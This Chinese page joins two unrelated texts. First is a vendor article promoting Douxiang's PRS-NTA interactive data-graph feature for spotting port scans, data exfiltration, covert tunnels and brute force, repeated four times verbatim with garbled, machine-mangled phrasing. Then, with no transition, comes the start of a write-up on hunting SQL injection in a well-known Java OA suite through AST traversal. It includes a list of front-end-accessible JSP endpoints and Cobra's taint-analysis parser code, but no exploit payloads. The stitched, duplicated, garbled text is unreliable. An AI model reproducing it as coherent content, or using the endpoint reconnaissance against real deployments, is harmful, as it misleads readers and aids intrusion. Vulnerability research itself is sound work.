近年来,随着人工智能、云计算、5G等技术的兴起,也让网络攻击手段的迭代速度不断加快。在各类攻击方式层出不穷的同时,也让信息安全领域的数据可视化发展成为不可或缺——不论是安全运营,威胁情报,态势感知都必须具备“看得见”的基础能力,从而帮助技术人员进行更有效更智能的分析。今天我们就来分享斗象智能安全PRS-NTA最新上线的功能——交互式数据图谱。

什么是一致数据图谱

相互数据图谱以可视化方式呈现企业安全状态,它使决策者能够从整体上把控网络安全状态并进行明智的决策,它允许安全分析人员能够快速分析,理解和响应安全威胁。数据图谱,安全分析人员可以深入到数据集中获取更多详细信息,产品亮点如下:

直观:以可视化方式呈现复杂业务环境中的安全状态

及时:使安全分析人员高效的发现数据中的异常趋势和模式

灵活:在复杂业务环境中,只要数据之间存在某种关系,安全分析人员就能利用这种可视化能力来识别其中的异常

洞察力:变量数据图谱与静态可视化方式或查看原始日志索引,可提供更强大的洞察力-利用统计分析,聚类,分类等技术识别异常,数据,隐蔽隧道,密码爆破等威胁场景。

使用一致数据图谱识别安全威胁

对于很多企业而言,每天生成TB级的数据和大量的警报,如果安全分析人员是基于日志记录去做分析,这将导致严重的其事件调查能力,从而无助于改善业务环境中的潜在安全隐患。交互式数据图谱可清晰,精确,高效的向决策者和安全分析人员呈现网络安全状态。当安全分析人员试图在流量日志中寻找蛛丝马迹时,相互关联的数据图谱将是最佳选择- ,及时,灵活并富有洞察力。相关数据图谱常用的应用场景包括以下:

1.识别异常

基于“海量数据来识别异常趋势和模式并非易事,这将浪费安全分析人员大量的能量和时间,而且获得的效果也不一定是理想的。”利用“建联状态分析”图表可以帮助安全分析人员使用根据TCP建联状态统计方法来快速标注可疑点,从而可以轻松识别需要进一步展开调查的异常模式。

如果单一柱状条存在多种颜色,这很可能表明在业务环境中存在端口扫描,异常通信等潜在的安全隐患。安全分析人员可依据可疑点展开进一步的调查分析,以阻止制事态的发展。

2.识别数据数据

利用“建联关系分析”图表可以帮助安全分析人员在复杂的业务环境中理清TCP建联关系。如果安全分析人员发现网络活跃度很高,这通常意味着业务环境中存在大量的数据传输,这或许是正常的业务现象,但当大量的数据传输发生内部网和外网之间时,则应引起认识,这是因为很可能存在数据外泄的违规行为。

如果内部网与外部网之间存在大量的数据传输时,安全分析人员应根据业务场景进行扩展进一步的调查分析,以阻止制事态的发展。

3.识别隐蔽隧道

对隐蔽隧道的识别能力是检测未知威胁的替代。例如针对ICMP协议可利用“填充字符统计”图表来帮助安全分析人员对报文结构和报文长度进行合理判断,从而识别可能存在的隐蔽隧道。

如果出现大量长度异常的报文数据,这很可能表明存在隐蔽隧道。安全分析人员可就此展开进一步的调查分析,以阻止制事态的发展。

此外,安全分析人员也可以利用ICMP“报文类型统计”图表来分析报文类型的差异,基于这种差异可判断网络中是否存在主机扫描,隐蔽隧道等安全隐患。

4.识别密码爆破

利用“连接关系分析”图表可以帮助安全分析人员轻松识别内网移动,内网批量扫描,主机密码爆破等恶意行为。

如果主机圆点或失败连接的呈现效果很醒目时,则应引起认识,这很可能表明存在内网横移或主机已被攻陷,安全分析人员可就此展开进一步调查分析,以对这种恶意行为进行溯源分析。

此外,安全分析人员也可以利用“建联端口分析”图表识别主机存活探测,端口扫描,网络通信异常等恶意行为。

如果柱状图数值偏高,这很可能表明攻击者正在对主机端口进行恶意扫描。安全分析人员可就此展开进一步的调查分析,以对这种恶意行为进行溯源分析。

斗象智能安全PRS

斗象科技以人工智能,大数据技术为核心,研发的新型全息智能安全平台,为企业建立实战引领的安全检测与数据安全分析体系。通过扩展部署流量,实时采集并深度解析流量数据,采用大数据技术结合AI智能,统计模型,安全规则,相关数据图谱,并应用事件关联与自定义实体网络分析,识别流量的异常行为等安全隐患。

功能亮点1:大数据架构,全流量存储

采用基于DPI / DFI技术实现对通信协议的双向消息(请求/响应)的深度解析能力,提升网络行为与安全风险事件的识别精度和准确率,可识别数据类型包括:协议数据,资产数据,文件数据等。利用大数据存储技术满足对海量解析数据的全量存储与原始pcap包存储,为溯源取证,大数据分析提供基础数据支撑能力。同时满足《网安法》对网络日志留存过多于六个月的要求。支持实现式管理保障系统的高性能,高可用。

功能亮点2:AI赋能智能威胁检测

采用智能安全模型,统计分析模型,安全规则签名,相关数据图谱等多种技术能力,实现流量实时检测,识别网络流量中异常轨迹和攻击行为;大量智能安全模型的应用解决方案提升传统安全检出(如webshel​​l等)与新型攻击事件(如隐蔽隧道等);对海量数据进行智能建模,应用离线分析技术,识别高级安全风险,如进行检测,APT攻击等。

功能亮点3:基于攻击链的场景化分析

通过多点攻击事件的追踪关联,结合攻击链安全模型,替代除单维依赖,依据风险的属性及危害,对风险威胁进行量化评估,帮助企业快速定位预警信息。

功能亮点4:攻击回溯,威胁狩猎

基于攻击链场景的分析模式,为企业提供海量攻击的分析依据,针对潜在的异常事件,提供IoC调查分析画布,相关数据图谱,结合大数据分析技术与攻击场景建模,清晰展示实体行为轨迹,实现攻击事件快速回溯。

功能亮点5:资产测绘,智能管理

采用被动数据解析与主动资产补全模式,识别细粒度资产;自动布局资产档案管理,建立资产分配,覆盖企业资产盲点,为企业构建自动化资产管理体系。

 

近年来,随着人工智能、云计算、5G等技术的兴起,也让网络攻击手段的迭代速度不断加快。在各类攻击方式层出不穷的同时,也让信息安全领域的数据可视化发展成为不可或缺——不论是安全运营,威胁情报,态势感知都必须具备“看得见”的基础能力,从而帮助技术人员进行更有效更智能的分析。今天我们就来分享斗象智能安全PRS-NTA最新上线的功能——交互式数据图谱。

什么是一致数据图谱

相互数据图谱以可视化方式呈现企业安全状态,它使决策者能够从整体上把控网络安全状态并进行明智的决策,它允许安全分析人员能够快速分析,理解和响应安全威胁。数据图谱,安全分析人员可以深入到数据集中获取更多详细信息,产品亮点如下:

直观:以可视化方式呈现复杂业务环境中的安全状态

及时:使安全分析人员高效的发现数据中的异常趋势和模式

灵活:在复杂业务环境中,只要数据之间存在某种关系,安全分析人员就能利用这种可视化能力来识别其中的异常

洞察力:变量数据图谱与静态可视化方式或查看原始日志索引,可提供更强大的洞察力-利用统计分析,聚类,分类等技术识别异常,数据,隐蔽隧道,密码爆破等威胁场景。

使用一致数据图谱识别安全威胁

对于很多企业而言,每天生成TB级的数据和大量的警报,如果安全分析人员是基于日志记录去做分析,这将导致严重的其事件调查能力,从而无助于改善业务环境中的潜在安全隐患。交互式数据图谱可清晰,精确,高效的向决策者和安全分析人员呈现网络安全状态。当安全分析人员试图在流量日志中寻找蛛丝马迹时,相互关联的数据图谱将是最佳选择- ,及时,灵活并富有洞察力。相关数据图谱常用的应用场景包括以下:

1.识别异常

基于“海量数据来识别异常趋势和模式并非易事,这将浪费安全分析人员大量的能量和时间,而且获得的效果也不一定是理想的。”利用“建联状态分析”图表可以帮助安全分析人员使用根据TCP建联状态统计方法来快速标注可疑点,从而可以轻松识别需要进一步展开调查的异常模式。

如果单一柱状条存在多种颜色,这很可能表明在业务环境中存在端口扫描,异常通信等潜在的安全隐患。安全分析人员可依据可疑点展开进一步的调查分析,以阻止制事态的发展。

2.识别数据数据

利用“建联关系分析”图表可以帮助安全分析人员在复杂的业务环境中理清TCP建联关系。如果安全分析人员发现网络活跃度很高,这通常意味着业务环境中存在大量的数据传输,这或许是正常的业务现象,但当大量的数据传输发生内部网和外网之间时,则应引起认识,这是因为很可能存在数据外泄的违规行为。

如果内部网与外部网之间存在大量的数据传输时,安全分析人员应根据业务场景进行扩展进一步的调查分析,以阻止制事态的发展。

3.识别隐蔽隧道

对隐蔽隧道的识别能力是检测未知威胁的替代。例如针对ICMP协议可利用“填充字符统计”图表来帮助安全分析人员对报文结构和报文长度进行合理判断,从而识别可能存在的隐蔽隧道。

如果出现大量长度异常的报文数据,这很可能表明存在隐蔽隧道。安全分析人员可就此展开进一步的调查分析,以阻止制事态的发展。

此外,安全分析人员也可以利用ICMP“报文类型统计”图表来分析报文类型的差异,基于这种差异可判断网络中是否存在主机扫描,隐蔽隧道等安全隐患。

4.识别密码爆破

利用“连接关系分析”图表可以帮助安全分析人员轻松识别内网移动,内网批量扫描,主机密码爆破等恶意行为。

如果主机圆点或失败连接的呈现效果很醒目时,则应引起认识,这很可能表明存在内网横移或主机已被攻陷,安全分析人员可就此展开进一步调查分析,以对这种恶意行为进行溯源分析。

此外,安全分析人员也可以利用“建联端口分析”图表识别主机存活探测,端口扫描,网络通信异常等恶意行为。

如果柱状图数值偏高,这很可能表明攻击者正在对主机端口进行恶意扫描。安全分析人员可就此展开进一步的调查分析,以对这种恶意行为进行溯源分析。

斗象智能安全PRS

斗象科技以人工智能,大数据技术为核心,研发的新型全息智能安全平台,为企业建立实战引领的安全检测与数据安全分析体系。通过扩展部署流量,实时采集并深度解析流量数据,采用大数据技术结合AI智能,统计模型,安全规则,相关数据图谱,并应用事件关联与自定义实体网络分析,识别流量的异常行为等安全隐患。

功能亮点1:大数据架构,全流量存储

采用基于DPI / DFI技术实现对通信协议的双向消息(请求/响应)的深度解析能力,提升网络行为与安全风险事件的识别精度和准确率,可识别数据类型包括:协议数据,资产数据,文件数据等。利用大数据存储技术满足对海量解析数据的全量存储与原始pcap包存储,为溯源取证,大数据分析提供基础数据支撑能力。同时满足《网安法》对网络日志留存过多于六个月的要求。支持实现式管理保障系统的高性能,高可用。

功能亮点2:AI赋能智能威胁检测

采用智能安全模型,统计分析模型,安全规则签名,相关数据图谱等多种技术能力,实现流量实时检测,识别网络流量中异常轨迹和攻击行为;大量智能安全模型的应用解决方案提升传统安全检出(如webshel​​l等)与新型攻击事件(如隐蔽隧道等);对海量数据进行智能建模,应用离线分析技术,识别高级安全风险,如进行检测,APT攻击等。

功能亮点3:基于攻击链的场景化分析

通过多点攻击事件的追踪关联,结合攻击链安全模型,替代除单维依赖,依据风险的属性及危害,对风险威胁进行量化评估,帮助企业快速定位预警信息。

功能亮点4:攻击回溯,威胁狩猎

基于攻击链场景的分析模式,为企业提供海量攻击的分析依据,针对潜在的异常事件,提供IoC调查分析画布,相关数据图谱,结合大数据分析技术与攻击场景建模,清晰展示实体行为轨迹,实现攻击事件快速回溯。

功能亮点5:资产测绘,智能管理

采用被动数据解析与主动资产补全模式,识别细粒度资产;自动布局资产档案管理,建立资产分配,覆盖企业资产盲点,为企业构建自动化资产管理体系。

 

近年来,随着人工智能、云计算、5G等技术的兴起,也让网络攻击手段的迭代速度不断加快。在各类攻击方式层出不穷的同时,也让信息安全领域的数据可视化发展成为不可或缺——不论是安全运营,威胁情报,态势感知都必须具备“看得见”的基础能力,从而帮助技术人员进行更有效更智能的分析。今天我们就来分享斗象智能安全PRS-NTA最新上线的功能——交互式数据图谱。

什么是一致数据图谱

相互数据图谱以可视化方式呈现企业安全状态,它使决策者能够从整体上把控网络安全状态并进行明智的决策,它允许安全分析人员能够快速分析,理解和响应安全威胁。数据图谱,安全分析人员可以深入到数据集中获取更多详细信息,产品亮点如下:

直观:以可视化方式呈现复杂业务环境中的安全状态

及时:使安全分析人员高效的发现数据中的异常趋势和模式

灵活:在复杂业务环境中,只要数据之间存在某种关系,安全分析人员就能利用这种可视化能力来识别其中的异常

洞察力:变量数据图谱与静态可视化方式或查看原始日志索引,可提供更强大的洞察力-利用统计分析,聚类,分类等技术识别异常,数据,隐蔽隧道,密码爆破等威胁场景。

使用一致数据图谱识别安全威胁

对于很多企业而言,每天生成TB级的数据和大量的警报,如果安全分析人员是基于日志记录去做分析,这将导致严重的其事件调查能力,从而无助于改善业务环境中的潜在安全隐患。交互式数据图谱可清晰,精确,高效的向决策者和安全分析人员呈现网络安全状态。当安全分析人员试图在流量日志中寻找蛛丝马迹时,相互关联的数据图谱将是最佳选择- ,及时,灵活并富有洞察力。相关数据图谱常用的应用场景包括以下:

1.识别异常

基于“海量数据来识别异常趋势和模式并非易事,这将浪费安全分析人员大量的能量和时间,而且获得的效果也不一定是理想的。”利用“建联状态分析”图表可以帮助安全分析人员使用根据TCP建联状态统计方法来快速标注可疑点,从而可以轻松识别需要进一步展开调查的异常模式。

如果单一柱状条存在多种颜色,这很可能表明在业务环境中存在端口扫描,异常通信等潜在的安全隐患。安全分析人员可依据可疑点展开进一步的调查分析,以阻止制事态的发展。

2.识别数据数据

利用“建联关系分析”图表可以帮助安全分析人员在复杂的业务环境中理清TCP建联关系。如果安全分析人员发现网络活跃度很高,这通常意味着业务环境中存在大量的数据传输,这或许是正常的业务现象,但当大量的数据传输发生内部网和外网之间时,则应引起认识,这是因为很可能存在数据外泄的违规行为。

如果内部网与外部网之间存在大量的数据传输时,安全分析人员应根据业务场景进行扩展进一步的调查分析,以阻止制事态的发展。

3.识别隐蔽隧道

对隐蔽隧道的识别能力是检测未知威胁的替代。例如针对ICMP协议可利用“填充字符统计”图表来帮助安全分析人员对报文结构和报文长度进行合理判断,从而识别可能存在的隐蔽隧道。

如果出现大量长度异常的报文数据,这很可能表明存在隐蔽隧道。安全分析人员可就此展开进一步的调查分析,以阻止制事态的发展。

此外,安全分析人员也可以利用ICMP“报文类型统计”图表来分析报文类型的差异,基于这种差异可判断网络中是否存在主机扫描,隐蔽隧道等安全隐患。

4.识别密码爆破

利用“连接关系分析”图表可以帮助安全分析人员轻松识别内网移动,内网批量扫描,主机密码爆破等恶意行为。

如果主机圆点或失败连接的呈现效果很醒目时,则应引起认识,这很可能表明存在内网横移或主机已被攻陷,安全分析人员可就此展开进一步调查分析,以对这种恶意行为进行溯源分析。

此外,安全分析人员也可以利用“建联端口分析”图表识别主机存活探测,端口扫描,网络通信异常等恶意行为。

如果柱状图数值偏高,这很可能表明攻击者正在对主机端口进行恶意扫描。安全分析人员可就此展开进一步的调查分析,以对这种恶意行为进行溯源分析。

斗象智能安全PRS

斗象科技以人工智能,大数据技术为核心,研发的新型全息智能安全平台,为企业建立实战引领的安全检测与数据安全分析体系。通过扩展部署流量,实时采集并深度解析流量数据,采用大数据技术结合AI智能,统计模型,安全规则,相关数据图谱,并应用事件关联与自定义实体网络分析,识别流量的异常行为等安全隐患。

功能亮点1:大数据架构,全流量存储

采用基于DPI / DFI技术实现对通信协议的双向消息(请求/响应)的深度解析能力,提升网络行为与安全风险事件的识别精度和准确率,可识别数据类型包括:协议数据,资产数据,文件数据等。利用大数据存储技术满足对海量解析数据的全量存储与原始pcap包存储,为溯源取证,大数据分析提供基础数据支撑能力。同时满足《网安法》对网络日志留存过多于六个月的要求。支持实现式管理保障系统的高性能,高可用。

功能亮点2:AI赋能智能威胁检测

采用智能安全模型,统计分析模型,安全规则签名,相关数据图谱等多种技术能力,实现流量实时检测,识别网络流量中异常轨迹和攻击行为;大量智能安全模型的应用解决方案提升传统安全检出(如webshel​​l等)与新型攻击事件(如隐蔽隧道等);对海量数据进行智能建模,应用离线分析技术,识别高级安全风险,如进行检测,APT攻击等。

功能亮点3:基于攻击链的场景化分析

通过多点攻击事件的追踪关联,结合攻击链安全模型,替代除单维依赖,依据风险的属性及危害,对风险威胁进行量化评估,帮助企业快速定位预警信息。

功能亮点4:攻击回溯,威胁狩猎

基于攻击链场景的分析模式,为企业提供海量攻击的分析依据,针对潜在的异常事件,提供IoC调查分析画布,相关数据图谱,结合大数据分析技术与攻击场景建模,清晰展示实体行为轨迹,实现攻击事件快速回溯。

功能亮点5:资产测绘,智能管理

采用被动数据解析与主动资产补全模式,识别细粒度资产;自动布局资产档案管理,建立资产分配,覆盖企业资产盲点,为企业构建自动化资产管理体系。

 

近年来,随着人工智能、云计算、5G等技术的兴起,也让网络攻击手段的迭代速度不断加快。在各类攻击方式层出不穷的同时,也让信息安全领域的数据可视化发展成为不可或缺——不论是安全运营,威胁情报,态势感知都必须具备“看得见”的基础能力,从而帮助技术人员进行更有效更智能的分析。今天我们就来分享斗象智能安全PRS-NTA最新上线的功能——交互式数据图谱。

什么是一致数据图谱

相互数据图谱以可视化方式呈现企业安全状态,它使决策者能够从整体上把控网络安全状态并进行明智的决策,它允许安全分析人员能够快速分析,理解和响应安全威胁。数据图谱,安全分析人员可以深入到数据集中获取更多详细信息,产品亮点如下:

直观:以可视化方式呈现复杂业务环境中的安全状态

及时:使安全分析人员高效的发现数据中的异常趋势和模式

灵活:在复杂业务环境中,只要数据之间存在某种关系,安全分析人员就能利用这种可视化能力来识别其中的异常

洞察力:变量数据图谱与静态可视化方式或查看原始日志索引,可提供更强大的洞察力-利用统计分析,聚类,分类等技术识别异常,数据,隐蔽隧道,密码爆破等威胁场景。

使用一致数据图谱识别安全威胁

对于很多企业而言,每天生成TB级的数据和大量的警报,如果安全分析人员是基于日志记录去做分析,这将导致严重的其事件调查能力,从而无助于改善业务环境中的潜在安全隐患。交互式数据图谱可清晰,精确,高效的向决策者和安全分析人员呈现网络安全状态。当安全分析人员试图在流量日志中寻找蛛丝马迹时,相互关联的数据图谱将是最佳选择- ,及时,灵活并富有洞察力。相关数据图谱常用的应用场景包括以下:

1.识别异常

基于“海量数据来识别异常趋势和模式并非易事,这将浪费安全分析人员大量的能量和时间,而且获得的效果也不一定是理想的。”利用“建联状态分析”图表可以帮助安全分析人员使用根据TCP建联状态统计方法来快速标注可疑点,从而可以轻松识别需要进一步展开调查的异常模式。

如果单一柱状条存在多种颜色,这很可能表明在业务环境中存在端口扫描,异常通信等潜在的安全隐患。安全分析人员可依据可疑点展开进一步的调查分析,以阻止制事态的发展。

2.识别数据数据

利用“建联关系分析”图表可以帮助安全分析人员在复杂的业务环境中理清TCP建联关系。如果安全分析人员发现网络活跃度很高,这通常意味着业务环境中存在大量的数据传输,这或许是正常的业务现象,但当大量的数据传输发生内部网和外网之间时,则应引起认识,这是因为很可能存在数据外泄的违规行为。

如果内部网与外部网之间存在大量的数据传输时,安全分析人员应根据业务场景进行扩展进一步的调查分析,以阻止制事态的发展。

3.识别隐蔽隧道

对隐蔽隧道的识别能力是检测未知威胁的替代。例如针对ICMP协议可利用“填充字符统计”图表来帮助安全分析人员对报文结构和报文长度进行合理判断,从而识别可能存在的隐蔽隧道。

如果出现大量长度异常的报文数据,这很可能表明存在隐蔽隧道。安全分析人员可就此展开进一步的调查分析,以阻止制事态的发展。

此外,安全分析人员也可以利用ICMP“报文类型统计”图表来分析报文类型的差异,基于这种差异可判断网络中是否存在主机扫描,隐蔽隧道等安全隐患。

4.识别密码爆破

利用“连接关系分析”图表可以帮助安全分析人员轻松识别内网移动,内网批量扫描,主机密码爆破等恶意行为。

如果主机圆点或失败连接的呈现效果很醒目时,则应引起认识,这很可能表明存在内网横移或主机已被攻陷,安全分析人员可就此展开进一步调查分析,以对这种恶意行为进行溯源分析。

此外,安全分析人员也可以利用“建联端口分析”图表识别主机存活探测,端口扫描,网络通信异常等恶意行为。

如果柱状图数值偏高,这很可能表明攻击者正在对主机端口进行恶意扫描。安全分析人员可就此展开进一步的调查分析,以对这种恶意行为进行溯源分析。

斗象智能安全PRS

斗象科技以人工智能,大数据技术为核心,研发的新型全息智能安全平台,为企业建立实战引领的安全检测与数据安全分析体系。通过扩展部署流量,实时采集并深度解析流量数据,采用大数据技术结合AI智能,统计模型,安全规则,相关数据图谱,并应用事件关联与自定义实体网络分析,识别流量的异常行为等安全隐患。

功能亮点1:大数据架构,全流量存储

采用基于DPI / DFI技术实现对通信协议的双向消息(请求/响应)的深度解析能力,提升网络行为与安全风险事件的识别精度和准确率,可识别数据类型包括:协议数据,资产数据,文件数据等。利用大数据存储技术满足对海量解析数据的全量存储与原始pcap包存储,为溯源取证,大数据分析提供基础数据支撑能力。同时满足《网安法》对网络日志留存过多于六个月的要求。支持实现式管理保障系统的高性能,高可用。

功能亮点2:AI赋能智能威胁检测

采用智能安全模型,统计分析模型,安全规则签名,相关数据图谱等多种技术能力,实现流量实时检测,识别网络流量中异常轨迹和攻击行为;大量智能安全模型的应用解决方案提升传统安全检出(如webshel​​l等)与新型攻击事件(如隐蔽隧道等);对海量数据进行智能建模,应用离线分析技术,识别高级安全风险,如进行检测,APT攻击等。

功能亮点3:基于攻击链的场景化分析

通过多点攻击事件的追踪关联,结合攻击链安全模型,替代除单维依赖,依据风险的属性及危害,对风险威胁进行量化评估,帮助企业快速定位预警信息。

功能亮点4:攻击回溯,威胁狩猎

基于攻击链场景的分析模式,为企业提供海量攻击的分析依据,针对潜在的异常事件,提供IoC调查分析画布,相关数据图谱,结合大数据分析技术与攻击场景建模,清晰展示实体行为轨迹,实现攻击事件快速回溯。

功能亮点5:资产测绘,智能管理

采用被动数据解析与主动资产补全模式,识别细粒度资产;自动布局资产档案管理,建立资产分配,覆盖企业资产盲点,为企业构建自动化资产管理体系。

 

2019年2月在写这篇文章 挖掘暗藏ThinkPHP中的反序列利用链 , 寻找PHP反序列化的POP Chain时, 我就在想这种纯粹的体力劳动可不可以更现代化一点, 不仅仅是Ctrl+Shift+F这种机械重复的体力劳动, 当时了解了一些相关的项目/论文, 包括不限于NavexPrvdCobraCodeql. 鉴于Cobra代码开源, 也相对简单, 后来有一阵子某知名OA漏洞爆发, 于是参考了CobraPHP Parser尝试实现一个通过遍历Java AST(抽象语法树)进行漏洞挖掘的工具, 没想到效果出奇的好, 筛选出160个前台注入点, 手工编写了约50个前台注入EXP.

文中涉及的漏洞均为workflowcentertreedata通告的相似漏洞研究, 补丁版本之后均已失效

预备知识

某知名OA介绍

某知名OA是使用Java编写的一个OA套件, 代码相对古老, 其中sql查询语句多是拼接, 且代码中没有过滤, 其过滤是通过统一的Filter实现的, 存在一些绕过的情况.

某知名OA的主体功能是通过JSP实现的, 这里是目前只有PMD支持解析, 但是没有尝试, 从idea的的解析结果来看, 大概是解析不到具体函数逻辑的, 好在JSP可以编译成Java Servlet, 某知名OA使用的Resin Server 也会缓存编译好的Java Servlet, 这里倒是省了不少麻烦.

编译原理基础

了解过编译原理的同学都知道, 一般语言的编译都是通过 词法分析,语法分析, 然后解析成AST(抽象语法树), 这里包含了一个程序源文件的所有结构化信息, 通过遍历AST的方式, 我们可以精确的取出我们需要的信息, 而不是笨拙的使用全局搜索, 正则表达式这种会丢失上下文信息的方式.

一般的编译过程如下图所示

5.png

环境准备

首先这里需要搭建某知名OA的环境, 这里以某知名OA 8为例, 可以去百度下载Ecology8.100.0531

默认配置安装完成就OK了

遍历某知名OA的JSP文件路径

先使用Python获取到某知名OA文件夹中的JSP文件路径, 这里可以自己过滤一下

#python 遍历文件夹
import os
def get_files(path=r"D:\WEAVER\ecology\"):
    g = os.walk(path)
    result = []
    for path, d, file_list in g:
        for filename in file_list:
            full_path = os.path.join(path, filename)
            result.append([full_path, filename])
    return result

然后通过burp intruder的方式遍历某知名OA的JSP在前台的可访问性, 这里使用Python访问也行

获取到如下列表

Request Payload    Status Error  Timeout    Length Comment
7373   workflow/request/WorkflowViewRequestDetailBodyAction.jsp   200    false  false  73584  
7319   workflow/request/WorkflowManageRequestBody.jsp 200    false  false  71216  
7359   workflow/request/WorkflowSignInput.jsp 200    false  false  69746  
6445   web/workflow/request/WorkflowAddRequestBody.jsp    200    false  false  69080  
7372   workflow/request/WorkflowViewRequestDetailBody.jsp 200    false  false  66718  
7297   workflow/request/WorkflowAddRequestBodyDataCenter.jsp  200    false  false  64160  
7322   workflow/request/WorkflowManageRequestBodyDataCenter.jsp   200    false  false  64098  
7301   workflow/request/WorkflowAddRequestFormBody.jsp    200    false  false  62012  
3499   hrm/report/resource/HrmConstRpDataDefine.jsp   200    false  false  61648  
6923   workflow/request/BillBudgetExpenseDetail.jsp   200    false  false  61272  
7295   workflow/request/WorkflowAddRequestBody.jsp    200    false  false  60130  
7370   workflow/request/WorkflowViewRequestBody.jsp   200    false  false  59860    
.....
2368    formmode/import/ProcessOperation.jsp    200 false   false   218 
7378    workflow/request/WorkflowViewSign.jsp   0   false   false   5   
6419    web/WebBBSDsp.jsp   0   false   false   0   
6421    web/WebDsp.jsp  0   false   false   0   
6422    web/WebJournalDsp.jsp   0   false   false   0   
6426    web/WebListDspSecond.jsp    0   false   false   0   

4.png

获取Resin生成的Servlet.java

获取到JSP文件的访问权限列表的同时, 某知名OA的目录D:\WEAVER\ecology\WEB-INF\work\_jsp中也生成了对应的JSP Servlet

3.png

然后把_jsp目录复制出来, 某知名OA的准备过程就到这里结束了

参考CobraPHP Parser

Cobra 源码理解

cobra/parser.py

# -*- coding: utf-8 -*-

"""
    parser
    ~~~~~~

    Implements Code Parser

    :author:    BlBana <[email protected]>
    :homepage:  https://github.com/WhaleShark-Team/cobra
    :license:   MIT, see LICENSE for more details.
    :copyright: Copyright (c) 2018 Feei. All rights reserved
"""
from phply.phplex import lexer  # 词法分析
from phply.phpparse import make_parser  # 语法分析
from phply import phpast as php
from .log import logger

with_line = True
scan_results = []  # 结果存放列表初始化
repairs = []  # 用于存放修复函数


def export(items):
    result = []
    if items:
        for item in items:
            if hasattr(item, 'generic'):
                item = item.generic(with_lineno=with_line)
            result.append(item)
    return result


def export_list(params, export_params):
    """
    将params中嵌套的多个列表,导出为一个列表
    :param params:
    :param export_params:
    :return:
    """
    for param in params:
        if isinstance(param, list):
            export_params = export_list(param, export_params)

        else:
            export_params.append(param)

    return export_params


def get_all_params(nodes):  # 用来获取调用函数的参数列表,nodes为参数列表
    """
    获取函数结构的所有参数
    :param nodes:
    :return:
    """
    params = []
    export_params = []  # 定义空列表,用来给export_list中使用
    for node in nodes:
        if isinstance(node.node, php.FunctionCall):  # 函数参数来自另一个函数的返回值
            params = get_all_params(node.node.params)

        else:
            if isinstance(node.node, php.Variable):
                params.append(node.node.name)

            if isinstance(node.node, php.BinaryOp):
                params = get_binaryop_params(node.node)
                params = export_list(params, export_params)

            if isinstance(node.node, php.ArrayOffset):
                param = get_node_name(node.node.node)
                params.append(param)

            if isinstance(node.node, php.Cast):
                param = get_cast_params(node.node.expr)
                params.append(param)

            if isinstance(node.node, php.Silence):
                param = get_silence_params(node.node)
                params.append(param)

    return params


def get_silence_params(node):
    """
    用来提取Silence类型中的参数
    :param node:
    :return:
    """
    param = []
    if isinstance(node.expr, php.Variable):
        param = get_node_name(node.expr)

    if isinstance(node.expr, php.FunctionCall):
        param.append(node.expr)

    if isinstance(node.expr, php.Eval):
        param.append(node.expr)

    if isinstance(node.expr, php.Assignment):
        param.append(node.expr)

    return param


def get_cast_params(node):
    """
    用来提取Cast类型中的参数
    :param node:
    :return:
    """
    param = []
    if isinstance(node, php.Silence):
        param = get_node_name(node.expr)

    return param


def get_binaryop_params(node):  # 当为BinaryOp类型时,分别对left和right进行处理,取出需要的变量
    """
    用来提取Binaryop中的参数
    :param node:
    :return:
    """
    logger.debug('[AST] Binaryop --> {node}'.format(node=node))
    params = []
    buffer_ = []

    if isinstance(node.left, php.Variable) or isinstance(node.right, php.Variable):  # left, right都为变量直接取值
        if isinstance(node.left, php.Variable):
            params.append(node.left.name)

        if isinstance(node.right, php.Variable):
            params.append(node.right.name)

    if not isinstance(node.right, php.Variable) or not isinstance(node.left, php.Variable):  # right不为变量时
        params_right = get_binaryop_deep_params(node.right, params)
        params_left = get_binaryop_deep_params(node.left, params)

        params = params_left + params_right

    params = export_list(params, buffer_)
    return params


def get_binaryop_deep_params(node, params):  # 取出right,left不为变量时,对象结构中的变量
    """
    取出深层的变量名
    :param node: node为上一步中的node.left或者node.right节点
    :param params:
    :return:
    """
    if isinstance(node, php.ArrayOffset):  # node为数组,取出数组变量名
        param = get_node_name(node.node)
        params.append(param)

    if isinstance(node, php.BinaryOp):  # node为BinaryOp,递归取出其中变量
        param = get_binaryop_params(node)
        params.append(param)

    if isinstance(node, php.FunctionCall):  # node为FunctionCall,递归取出其中变量名
        params = get_all_params(node.params)

    return params


def get_expr_name(node):  # expr为'expr'中的值
    """
    获取赋值表达式的表达式部分中的参数名-->返回用来进行回溯
    :param node:
    :return:
    """
    param_lineno = 0
    is_re = False
    if isinstance(node, php.ArrayOffset):  # 当赋值表达式为数组
        param_expr = get_node_name(node.node)  # 返回数组名
        param_lineno = node.node.lineno

    elif isinstance(node, php.Variable):  # 当赋值表达式为变量
        param_expr = node.name  # 返回变量名
        param_lineno = node.lineno

    elif isinstance(node, php.FunctionCall):  # 当赋值表达式为函数
        param_expr = get_all_params(node.params)  # 返回函数参数列表
        param_lineno = node.lineno
        is_re = is_repair(node.name)  # 调用了函数,判断调用的函数是否为修复函数

    elif isinstance(node, php.BinaryOp):  # 当赋值表达式为BinaryOp
        param_expr = get_binaryop_params(node)
        param_lineno = node.lineno

    else:
        param_expr = node

    return param_expr, param_lineno, is_re


def get_node_name(node):  # node为'node'中的元组
    """
    获取Variable类型节点的name
    :param node:
    :return:
    """
    if isinstance(node, php.Variable):
        return node.name  # 返回此节点中的变量名


def is_repair(expr):
    """
    判断赋值表达式是否出现过滤函数,如果已经过滤,停止污点回溯,判定漏洞已修复
    :param expr: 赋值表达式
    :return:
    """
    is_re = False  # 是否修复,默认值是未修复
    for repair in repairs:
        if expr == repair:
            is_re = True
            return is_re
    return is_re


def is_sink_function(param_expr, function_params):
    """
    判断自定义函数的入参-->判断此函数是否是危险函数
    :param param_expr:
    :param function_params:
    :return:
    """
    is_co = -1
    cp = None
    if function_params is not None:
        for function_param in function_params:
            if param_expr == function_param:
                is_co = 2
                cp = function_param
                logger.debug('[AST] is_sink_function --> {function_param}'.format(function_param=cp))
    return is_co, cp


def is_controllable(expr):  # 获取表达式中的变量,看是否在用户可控变量列表中
    """
    判断赋值表达式是否是用户可控的
    :param expr:
    :return:
    """
    controlled_params = [
        '$_GET',
        '$_POST',
        '$_REQUEST',
        '$_COOKIE',
        '$_FILES',
        '$_SERVER',
        '$HTTP_POST_FILES',
        '$HTTP_COOKIE_VARS',
        '$HTTP_REQUEST_VARS',
        '$HTTP_POST_VARS',
        '$HTTP_RAW_POST_DATA',
        '$HTTP_GET_VARS'
    ]
    if expr in controlled_params:
        logger.debug('[AST] is_controllable --> {expr}'.format(expr=expr))
        return 1, expr
    return -1, None


